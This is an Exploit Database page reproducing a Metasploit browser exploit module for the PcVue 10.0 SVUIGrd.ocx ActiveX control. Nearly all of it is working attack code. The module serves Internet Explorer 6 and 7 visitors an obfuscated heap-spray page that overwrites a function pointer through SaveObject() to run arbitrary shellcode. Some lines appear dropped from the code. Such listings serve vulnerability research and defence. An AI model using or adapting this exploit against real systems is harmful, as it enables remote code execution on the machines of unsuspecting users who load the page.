PcVue 10.0 SV.UIGrdCtrl.1 – ‘LoadObject()’/’SaveObject()’ Trusted DWORD (Metasploit)

Exploit Database
142 阅读

作者： Metasploit

日期： 2011-10-12
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17975/

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# $Id: pcvue_func.rb 13889 2011-10-12 10:57:31Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",

'Description'=> %q{

This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.

By setting a dword value for the SaveObject() or LoadObject(), an attacker can

overwrite a function pointer and execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' =>

[

'Luigi Auriemma', # original find

'mr_me <steventhomasseeley[at]gmail-com>', # msf module

'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf module

'Version'=> '$Revision: 13889 $',

'References' =>

[

[ 'BID', '49795'],

[ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f'

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00\x0a\x0d",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

#IE 6/7 on Widnows XP and Vista

'Internet Explorer 6 / Internet Explorer 7',

{

'Ret'=> 0x0a0a0a0a,

'Offset' => 1000

}

]

'DisclosureDate' => 'Oct 5 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.','msf.html']),

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),

], self.class)

end

def on_request_uri(cli, request)

#If not IE, we don't continue

agent = request.headers['User-Agent']

if agent !~ /MSIE [6|7]\.0/

print_error("Target not supported: #{agent.to_s}")

send_not_found(cli)

return

end

# Encode the shellcode

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers

nops= Rex::Text.to_unescape([target.ret].pack('V'))

ret = "0x%08x" % target.ret

blocksize = 0x50000

fillto= 200

# Randomize the javascript variable names

obj_name = rand_text_alpha(rand(100) + 1)

j_shellcode= rand_text_alpha(rand(100) + 1)

j_nops = rand_text_alpha(rand(100) + 1)

j_ret= rand_text_alpha(rand(100) + 1)

j_headersize = rand_text_alpha(rand(100) + 1)

j_slackspace = rand_text_alpha(rand(100) + 1)

j_fillblock= rand_text_alpha(rand(100) + 1)

j_block= rand_text_alpha(rand(100) + 1)

j_memory = rand_text_alpha(rand(100) + 1)

j_counter= rand_text_alpha(rand(30) + 2)

j_txt = rand_text_alpha(rand(8) + 4)

js = <<-EOF

var #{j_shellcode} = unescape('#{shellcode}');

var #{j_nops} = unescape("#{nops}");

var #{j_headersize} = 20;

var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;

while(#{j_nops}.length < #{j_slackspace}) {

#{j_nops} += #{j_nops};

}

var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});

var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});

while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) {

#{j_block} = #{j_block} + #{j_block} + #{j_fillblock};

}

#{j_memory} = new Array();

for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){

#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ;

}

function main(){

#{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0);

}

EOF

js = js.gsub(/^\t\t/, '')

#JS obfuscation on demand

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

main_sym = js.sym('main')

else

main_sym = "main"

end

content = <<-EOF

<html>

<body>

#{js}

#{main_sym}();

</script>

</body>

</html>

EOF

#Remove the extra tabs from content

content = content.gsub(/^\t\t/, '')

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}")

send_response(cli, content, {'Content-Type'=>'text/html'})

end

=begin

Tested successfully on the following platforms:

- PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3

Class SVUIGrdCtrl

ProgID: SV.UIGrdCtrl.1

GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9}

Number of Interfaces: 1

Default Interface: ISVUIGrd

RegKey Safe for Script: False

RegkeySafe for Init: False

KillBitSet: False

=end